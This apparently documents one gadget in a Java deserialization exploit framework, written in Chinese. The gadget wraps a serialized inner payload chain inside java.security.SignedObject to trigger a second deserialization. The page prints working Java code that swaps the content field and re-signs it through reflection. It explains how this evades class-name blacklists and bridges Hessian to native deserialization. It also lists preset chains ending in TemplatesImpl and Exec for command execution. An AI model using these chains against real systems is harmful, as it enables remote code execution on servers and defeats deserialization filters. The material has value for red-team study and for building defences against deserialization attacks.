- 类别:javanative 别名:— 优先级:30
- 作者:—
- 依赖:
jdk:java.security.SignedObject(JDK 内置,无需第三方库)
把内层链的序列化字节流塞进一个 java.security.SignedObject 的 content 字段,使其在被调用 getObject() 时对该字节流执行一次新的 Java 原生反序列化。是最常用的「二次反序列化」桥接构件:因为内层 Payload 以字节流形式存放,可绕过外层针对具体危险类的黑名单;尤其适用于 Hessian 反序列化场景,在 Hessian 与 Java 原生反序列化之间架桥,从而绕开 Hessian 下 TemplatesImpl 无法直接触发的限制。
- 入口
tags:SignedObjectChain、Getter——Getter表示本 gadget 通过一个 getter 方法(getObject)被触发,需由「能调用任意 getter」的上游承接(如CommonsBeanutils1的BeanComparator、Rome的ToStringBean)。 - 衔接
nextTags:JavaNativeDeserializePayload、CustomJavaDeserialize—— 之后内嵌的是被二次反序列化的完整字节流(第二段 Java 原生链)。 excludes:无。
String paramName = "object";
String methodName = "getObject";
public Object getObject(Object obj) throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
java.security.SignedObject signedObject =
new java.security.SignedObject(Integer.valueOf(1), privateKey, signingEngine);
Reflections.setFieldValue(signedObject, "content", CommonMethod.handleSerialized(obj));
Reflections.getMethod(signedObject, "sign", new Class[]{PrivateKey.class, Signature.class})
.invoke(signedObject, privateKey, signingEngine);
return signedObject;
}- 先用 DSA 生成一对密钥,构造一个内容无害(
Integer.valueOf(1))的合法SignedObject——这样对象自身能正常通过序列化。 - 关键:
Reflections.setFieldValue(signedObject, "content", CommonMethod.handleSerialized(obj))。CommonMethod.handleSerialized(obj)把内层链产物先序列化为byte[],再反射写入content字段,替换掉原本无害的内容字节。 - 随后反射调用私有的
sign(PrivateKey, Signature)方法,对新的content重新签名,使signedObject内部签名与被篡改的content一致(避免验签环节异常)。 - 反序列化侧:当上游 getter 触发
SignedObject.getObject()时,该方法内部对content字节流执行ObjectInputStream.readObject()——这就是第二次反序列化的触发点,内层链在此被真正解开。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context);
context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName); // "object" → 上游要调 getObject
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName); // "getObject"
context.put(ContextTag.SUPER_CLASS_NAME_KEY, java.security.SignedObject.class);
return this.getObject(object);
}- 通过 context 向上游注入三项信息:
GETTER_PARAM_NAME_KEY="object"(告诉BeanComparator类 getter 要调用的属性名,即getObject)、SPECIAL_METHOD_NAME_KEY="getObject"、SUPER_CLASS_NAME_KEY=SignedObject.class(供上游确定代理/载体类型)。这使得像CommonsBeanutils1这样的「任意 getter」上游能自动配到getObject上。
本类无 @Param,无用户可配字段(paramName、methodName 为固定内部字段)。
- 依赖纯 JDK 类
java.security.SignedObject,无需第三方库;优先级 30。 - 二次反序列化价值:内层危险类以字节流承载,外层第一次反序列化时不可见,绕过基于类名的黑名单/白名单。
- Hessian 桥接:Hessian 反序列化本身难以直接触发
TemplatesImpl.newTransformer,通过SignedObject切回 Java 原生反序列化后即可释放完整的 Java 链能力(见下列 Hessian 预设链)。 - 触发方式为 getter(
getObject),因此上游需具备「调用任意 getter」能力(CommonsBeanutils1、Rome的ToStringBean等)。
- Hessian Fastjson 链(
[FastjsonToString1, SignedObject, JavaNativeSerialization, Fastjson, TemplatesImpl, BytecodeConvert, Exec]) - Hessian Jackson 链(
[JacksonToString, SignedObject, JavaNativeSerialization, Jackson, TWrap, TemplatesImpl, BytecodeConvert, Exec]) - K1链二次反序列化1(
[CommonsCollectionsK1, SignedObject, JavaNativeSerialization, CommonsCollectionsK3, ...]) - Rome1低版本二次反序列化链(
[Rome1, SignedObject, JavaNativeSerialization, CommonsBeanutils1, TemplatesImpl, ...]) - Rome2高版本二次反序列化链(
[Rome2, SignedObject, JavaNativeSerialization, CommonsBeanutils1, TemplatesImpl, ...])
- 上游(
tags=Getter):CommonsBeanutils1、Rome 系列(Rome1/Rome2)的 ToStringBean、Fastjson/Jackson 的 ToString 触发器。 - 下游(
nextTags=JavaNativeDeserializePayload):JavaNativeSerialization 之后接第二段完整 Java 原生链。 - 同族二次反序列化桥接:RMIConnector(
connect()特殊方法触发,非 getter)。